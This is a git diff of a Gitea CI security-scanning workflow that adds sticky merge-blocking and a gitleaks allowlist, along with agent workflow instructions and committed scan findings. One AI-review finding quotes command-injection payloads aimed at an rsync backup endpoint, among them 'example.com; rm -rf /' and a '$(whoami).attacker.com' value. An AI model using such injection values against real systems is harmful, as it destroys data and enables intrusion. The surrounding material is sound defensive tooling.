diff --git a/.gitea/workflows/security.yml b/.gitea/workflows/security.yml index d772096..08c5d95 100644 --- a/.gitea/workflows/security.yml +++ b/.gitea/workflows/security.yml @@ -49,7 +49,30 @@ jobs: curl -sSL -o /tmp/gitleaks.tar.gz \ "https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_${GL_ARCH}.tar.gz" tar -xzf /tmp/gitleaks.tar.gz -C /usr/local/bin gitleaks - gitleaks detect --source=. --report-format json --report-path /tmp/gitleaks.json --exit-code 0 -v || true + + # curl-auth-header — дефолтное правило gitleaks, ловит ЛЮБОЙ + # "curl -H \"Authorization: Bearer ...\"" по форме, не по + # содержимому. Подтверждено живьём на нескольких клиентских + # README: ни одна формулировка примера (одинаковый токен, + # разные токены, плейсхолдер в угловых скобках) не проходит + # — а HIGH-находка блокирует мерж навсегда, потому что + # документация с примером curl-запроса есть почти у любого + # проекта с API. Точечно исключаем только эту находку на + # markdown-файлах; остальные правила (реальные секреты по + # энтропии/префиксам) продолжают действовать и там. + cat > /tmp/.gitleaks.toml <<'GLCFG' + [extend] + useDefault = true + + [[rules]] + id = "curl-auth-header" + + [rules.allowlist] + paths = ['''(?i)\.md$'''] + GLCFG + + gitleaks detect --source=. --config=/tmp/.gitleaks.toml \ + --report-format json --report-path /tmp/gitleaks.json --exit-code 0 -v || true [ -f /tmp/gitleaks.json ] || echo '[]' > /tmp/gitleaks.json - name: semgrep (SAST) @@ -64,17 +87,15 @@ jobs: REPO_FULL: ${{ gitea.repository }} PR_NUMBER: ${{ gitea.event.pull_request.number }} COMMIT_SHA: ${{ gitea.event.pull_request.head.sha }} - HEAD_REF: ${{ gitea.head_ref }} run: | python3 <<'PYEOF' - import base64, json, os, sys, time, urllib.error, urllib.request + import json, os, sys, time, urllib.error, urllib.request SERVER = os.environ["GITEA_SERVER"].rstrip("/") REPO = os.environ["REPO_FULL"] TOKEN = os.environ["SECURITY_BOT_TOKEN"] PR_NUMBER = os.environ.get("PR_NUMBER", "") COMMIT_SHA = os.environ["COMMIT_SHA"] - HEAD_REF = os.environ["HEAD_REF"] def gitea(method, path, payload=None): req = urllib.request.Request( @@ -154,17 +175,33 @@ jobs: blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]] blocked = len(blocking) > 0 - outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}" - os.makedirs(outdir, exist_ok=True) - outpath = f"{outdir}/{int(time.time())}.json" - json.dump(findings, open(outpath, "w"), ensure_ascii=False, indent=2) - - gitea("POST", f"/repos/{REPO}/contents/{outpath}", { - "content": base64.b64encode(open(outpath, "rb").read()).decode(), - "message": f"security: scan results for PR #{PR_NUMBER}", - "branch": HEAD_REF, - }) + # Один и тот же коммит может быть провёрен дважды (см. баг + # Gitea с переиспользованием SHA между разными PR — два + # параллельных прогона на идентичный коммит). Статус в + # Gitea хранит только ПОСЛЕДНЮЮ запись по (sha, context), + # так что более поздний, но менее строгий результат тихо + # затирает более ранний блокирующий. Раз уже была + # зафиксирована блокировка на этом коммите — не снимаем + # её молча, только новым коммитом. + prior_failed = False + try: + prior = gitea("GET", f"/repos/{REPO}/commits/{COMMIT_SHA}/statuses") + prior_failed = any(s.get("context") == "security/scan" and s.get("status") == "failure" for s in prior) + except Exception as e: + print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}") + sticky = prior_failed and not blocked + # Раньше находки ещё и коммитились в ветку PR. Плохая + # идея с точки зрения git-гигиены: чужая ветка растёт + # коммитами от бота, каждый такой коммит сам порождает + # pull_request:synchronize (нужна отдельная защита от + # петли), а когда коммит бота становится головой PR — + # обязательные security/scan и security/review больше + # никогда не выставляются на этой голове, потому что + # job их специально пропускает для бота же — PR + # перестаёт мержиться насовсем (поймано живьём). + # Комментарий в PR (ниже) и так несёт всё нужное + # человеку; отдельного коммита с JSON не требуется. counts = {} for f in findings: counts[f["severity"]] = counts.get(f["severity"], 0) + 1 @@ -176,20 +213,21 @@ jobs: body += "\n\n" for f in top: body += f"**{f['severity'].upper()}** `{f['file']}:{f['line_start']}` — {f['title']} ({f['source']})\n\n" - body += f"Полный список: `{outpath}`\n\n" - body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n" + if sticky: + body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне; новый прогон нашёл меньше, но старую блокировку это не снимает (нужен новый коммит).\n" + else: + body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n" gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body}) gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", { - "state": "failure" if blocked else "success", + "state": "failure" if (blocked or sticky) else "success", "context": "security/scan", - "description": f"{len(findings)} findings, {len(blocking)} blocking", - "target_url": f"{SERVER}/{REPO}/src/branch/{HEAD_REF}/{outpath}", + "description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")), }) - print(f"findings: {len(findings)}, blocking: {len(blocking)}") - if blocked: + print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}") + if blocked or sticky: sys.exit(1) PYEOF @@ -344,17 +382,15 @@ jobs: REPO_FULL: ${{ gitea.repository }} PR_NUMBER: ${{ gitea.event.pull_request.number }} COMMIT_SHA: ${{ gitea.event.pull_request.head.sha }} - HEAD_REF: ${{ gitea.head_ref }} run: | python3 <<'PYEOF2' - import base64, json, os, sys, time, urllib.error, urllib.request + import json, os, sys, time, urllib.error, urllib.request SERVER = os.environ["GITEA_SERVER"].rstrip("/") REPO = os.environ["REPO_FULL"] TOKEN = os.environ["SECURITY_BOT_TOKEN"] PR_NUMBER = os.environ.get("PR_NUMBER", "") COMMIT_SHA = os.environ["COMMIT_SHA"] - HEAD_REF = os.environ["HEAD_REF"] def gitea(method, path, payload=None): req = urllib.request.Request( @@ -440,16 +476,23 @@ jobs: blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]] blocked = len(blocking) > 0 - outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}" - outpath = f"{outdir}/{int(time.time())}-review.json" - - if findings: - gitea("POST", f"/repos/{REPO}/contents/{outpath}", { - "content": base64.b64encode(json.dumps(findings, ensure_ascii=False, indent=2).encode()).decode(), - "message": f"security: AI review results for PR #{PR_NUMBER}", - "branch": HEAD_REF, - }) + # См. аналогичный комментарий в шаге scan: LLM-ревьюер не + # детерминирован, а один коммит может быть провёрен дважды + # параллельно (баг Gitea с переиспользованием SHA между + # PR). Если более ранний прогон на ЭТОМ ЖЕ коммите уже + # нашёл блокирующую находку, более поздний "пустой" ответ + # модели не должен тихо снимать блокировку. + prior_failed = False + try: + prior = gitea("GET", f"/repos/{REPO}/commits/{COMMIT_SHA}/statuses") + prior_failed = any(s.get("context") == "security/review" and s.get("status") == "failure" for s in prior) + except Exception as e: + print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}") + sticky = prior_failed and not blocked + # Коммит с findings-json в ветку PR убран — та же причина, + # что и в шаге scan: он ломает мержимость PR насовсем, + # как только становится головой (см. комментарий там). counts = {} for f in findings: counts[f["severity"]] = counts.get(f["severity"], 0) + 1 @@ -466,20 +509,22 @@ jobs: body += f"**{f['severity'].upper()}** (`{f['confidence']:.2f}`) `{f['file']}:{f['line_start']}` — {f['title']}\n\n" if f.get("exploit_scenario"): body += f" сценарий: {f['exploit_scenario']}\n\n" - body += f"Полный список: `{outpath}`\n\n" - body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n" + if sticky: + body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне ревью; новый прогон ничего не нашёл, но старую блокировку это не снимает (нужен новый коммит).\n" + else: + body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n" gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body}) gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", { - "state": "failure" if blocked else "success", + "state": "failure" if (blocked or sticky) else "success", "context": "security/review", - "description": f"{len(findings)} findings, {len(blocking)} blocking", + "description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")), "target_url": f"{SERVER}/{REPO}", }) - print(f"findings: {len(findings)}, blocking: {len(blocking)}") - if blocked: + print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}") + if blocked or sticky: sys.exit(1) PYEOF2 diff --git a/AGENTS.md b/AGENTS.md index bfa826f..32bf533 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -8,8 +8,13 @@ прямой push всё равно отклонится. Для любой задачи: 1. Создай новую ветку от `main` с понятным именем по задаче. -2. Делай коммиты в неё как обычно. -3. Когда готово — открой pull request в `main` и опиши, что сделано. +2. Делай коммиты в неё как обычно (`git add`, `git commit`, `git push` — + обычный нативный git, доступы уже настроены). +3. Когда готово — открой pull request в `main` ЧЕРЕЗ ИНСТРУМЕНТ gitea MCP + (не через git push с параметрами PR, не через веб-логин, не проси + логин/пароль — они не нужны). Открытие PR/issue — это единственная + операция, которая должна идти через MCP; сам git (clone/commit/push) + остаётся обычным. Дальше pull request проходит автоматическую проверку (security-скан) и ревью — это не твоя забота, просто открой PR и жди. diff --git a/security-analysis/findings/pr-10/1787499104.json b/security-analysis/findings/pr-10/1787499104.json new file mode 100644 index 0000000..0637a08 --- /dev/null +++ b/security-analysis/findings/pr-10/1787499104.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/security-analysis/findings/pr-11/1787499842.json b/security-analysis/findings/pr-11/1787499842.json new file mode 100644 index 0000000..0637a08 --- /dev/null +++ b/security-analysis/findings/pr-11/1787499842.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/security-analysis/findings/pr-12/1787501546.json b/security-analysis/findings/pr-12/1787501546.json new file mode 100644 index 0000000..0637a08 --- /dev/null +++ b/security-analysis/findings/pr-12/1787501546.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/security-analysis/findings/pr-12/1787501636.json b/security-analysis/findings/pr-12/1787501636.json new file mode 100644 index 0000000..0637a08 --- /dev/null +++ b/security-analysis/findings/pr-12/1787501636.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/security-analysis/findings/pr-9/1787498989.json b/security-analysis/findings/pr-9/1787498989.json new file mode 100644 index 0000000..0637a08 --- /dev/null +++ b/security-analysis/findings/pr-9/1787498989.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/security-analysis/findings/pr-9/1787499027-review.json b/security-analysis/findings/pr-9/1787499027-review.json new file mode 100644 index 0000000..c36a393 --- /dev/null +++ b/security-analysis/findings/pr-9/1787499027-review.json @@ -0,0 +1,86 @@ +[ + { + "id": "ai-review-0-orders.py-70", + "source": "ai-review", + "category": "command-exec", + "severity": "critical", + "confidence": 1.0, + "file": "orders.py", + "line_start": 70, + "line_end": 70, + "title": "Небезопасное использование пользовательского ввода в subprocess.run", + "description": "Значение параметра host берётся из JSON-запроса и напрямую подставляется в команду rsync без валидации или экранирования, что позволяет выполнить произвольные команды через специально сформированный host.", + "impact": "Полный компрометация сервера — атакующий может выполнить любую команду на хосте с правами процесса приложения.", + "exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = \"example.com; rm -rf /\" или host = \"example.com$(whoami).attacker.com\" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.", + "evidence": "self._perform_backup(backup_host) → subprocess.run([\"rsync\", \"-avz\", \"/workspace/\", f\"{host}:/backup/orders/\"]) — строка host напрямую подставляется в команду без валидации.", + "recommendation": "Запретить произвольные host-значения: использовать белый список разрешённых хостов, проверить формат IP/домена, использовать строгую валидацию (например, регулярным выражением) и/или экранировать аргументы (например, добавлять флаги '--' или использовать строго типизированный вызов без shell, но лучше — полностью отказаться от подстановки пользовательских строк в аргументы команд).", + "cwe": "CWE-78", + "status": "OPEN", + "created_at": "2026-08-23T15:30:27Z", + "pr_number": 9, + "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4" + }, + { + "id": "ai-review-1-orders.py-15", + "source": "ai-review", + "category": "sensitive-data", + "severity": "high", + "confidence": 1.0, + "file": "orders.py", + "line_start": 15, + "line_end": 15, + "title": "Жёстко закодированный токен GitHub в исходном коде", + "description": "Токен 'ghp_dummytoken_for_backup_notifications' захардкожен в коде. Несмотря на префикс 'dummy', это чувствительное значение, и оно может быть случайно обнаружено в репозитории.", + "impact": "Возможна утечка учётных данных, если репозиторий станет публичным, или если токен окажется в логах или артефактах сборки.", + "exploit_scenario": "Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.", + "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"", + "recommendation": "Использовать переменные окружения или специализированный менеджер секретов (Vault, AWS Secrets Manager и т.п.) и не хранить токены в коде.", + "cwe": "CWE-312", + "status": "OPEN", + "created_at": "2026-08-23T15:30:27Z", + "pr_number": 9, + "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4" + }, + { + "id": "ai-review-2-orders.py-32", + "source": "ai-review", + "category": "idor", + "severity": "medium", + "confidence": 1.0, + "file": "orders.py", + "line_start": 32, + "line_end": 37, + "title": "Отсутствие проверки прав доступа к заказам", + "description": "Пользователи могут читать и модифицировать любые заказы по order_id, без привязки к собственному user_id.", + "impact": "Пользователь может просмотреть и изменить чужие заказы, что может привести к финансовым потерям или утечке данных.", + "exploit_scenario": "Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.", + "evidence": "order_id = self.path.split(\"/\")[-1]; orders[order_id][\"amount\"] = data[\"amount\"] — никакой проверки ownership.", + "recommendation": "Добавить проверку, что order_id принадлежит текущему пользователю, например, по session или JWT claim user_id.", + "cwe": "CWE-639", + "status": "OPEN", + "created_at": "2026-08-23T15:30:27Z", + "pr_number": 9, + "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4" + }, + { + "id": "ai-review-3-orders.py-41", + "source": "ai-review", + "category": "authz", + "severity": "high", + "confidence": 1.0, + "file": "orders.py", + "line_start": 41, + "line_end": 41, + "title": "Открытый доступ к административному endpoint /admin/backup без аутентификации", + "description": "Эндпоинт /admin/backup доступен любому пользователю, не требует аутентификации или авторизации.", + "impact": "Любой желающий может инициировать резервное копирование и использовать уязвимость командной инъекции.", + "exploit_scenario": "Анонимный атакующий отправляет POST /admin/backup с вредоносным host.", + "evidence": "elif self.path == \"/admin/backup\": — нет проверки self.headers.get(\"Authorization\") или аналогов.", + "recommendation": "Добавить аутентификацию (например, Basic Auth или API-ключ), проверку прав и ограничение IP.", + "cwe": "CWE-306", + "status": "OPEN", + "created_at": "2026-08-23T15:30:27Z", + "pr_number": 9, + "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4" + } +] \ No newline at end of file